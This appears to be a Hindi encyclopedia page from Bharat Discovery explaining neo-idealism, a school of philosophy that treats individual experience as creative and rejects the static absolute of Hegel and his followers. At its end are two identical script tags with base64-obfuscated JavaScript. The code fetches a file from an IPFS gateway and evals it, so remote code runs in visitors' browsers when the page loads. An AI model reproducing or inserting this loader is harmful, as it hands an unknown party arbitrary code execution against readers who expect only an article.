नव्य आदर्शवाद

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

नव्य आदर्शवाद नाम से प्रचलित आन्दोलन आधुनिक आदर्शवादी दर्शन में नवीनतम विकास है। यह सबसे अधिक महत्त्वपूर्ण तथा मौलिक माना जाता है। यह नव्य आदर्शवाद इसीलिए कहलाता है कि यह जिस आदर्शवाद का प्रतिप्रादन करता है, वह हीगेल और उसके अनुयायियों द्वारा प्रतिपादित आदर्शवाद से भिन्न एक नयी विचारधारा है।[1]

  • नव्य हीगेलवाद विचार को चरम तत्त्व की परम सम्पूर्णता मानता है और व्यक्तिगत अनुभव को उसकी तत्त्व रचना में उस विचारात्मक सत्ता में केवल भाग लेता हुआ मानता है, जो उसके भीतर व्याप्त होकर काम करती है और उसे[2] सार्थक और बुद्धिग्राह्य बनाती है। नव्य आदर्शवाद का नव्य हीगेलवाद से यहीं पर मतभेद है।
  • नव्य आदर्शवाद व्यक्तिगत अनुभव को क्रियाशील, तत्त्व के निर्माता और ज्ञाता विषयी के एक स्वतंत्र व्यापार के रूप में महत्त्व देता है, केवल विचार की प्रतिकृति रूप में नहीं। उसका मुख्य तर्क यह है कि हीगेल और उसके अनुयायियों द्वारा प्रतिपादित चरम तत्त्व स्थिर होने के कारण परिवर्तन और इतिहास का स्पष्टीकरण करने में असमर्थ है और विश्व का चरम संघटन एक ऐसी सम्पूर्णता है, जिसमें अब कोई परिवर्तन या विकास सम्भव नहीं, वह जो है, उससे अधिक नहीं हो सकता। नव्य आदर्शवाद इसका विरोधी है। उसके अनुसार वैयक्तिक विचार रचनात्मक है, निष्क्रिय विश्व-विचार का प्रतिबिम्ब मात्र नहीं।[1]
  • विश्व के विभिन्न तत्त्वों का विकास जो कुछ प्रस्तुत स्थायी और अपरिवर्तनशील है, उसी का व्यक्तीकरण अथवा प्रस्फुटन[3] नहीं माना जा सकता। दर्शन, परिवर्तनशील चरम तत्त्व के दृष्टिकोण से, वैयक्तिक अनुभव और चरम तत्त्व के पारस्परिक सम्बन्धों का इतिहास है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 हिन्दी साहित्य कोश, भाग 1 |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारतकोश पुस्तकालय |संपादन: डॉ. धीरेंद्र वर्मा |पृष्ठ संख्या: 315 |
  2. व्यक्तिगत अनुभव को
  3. imfoldment

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>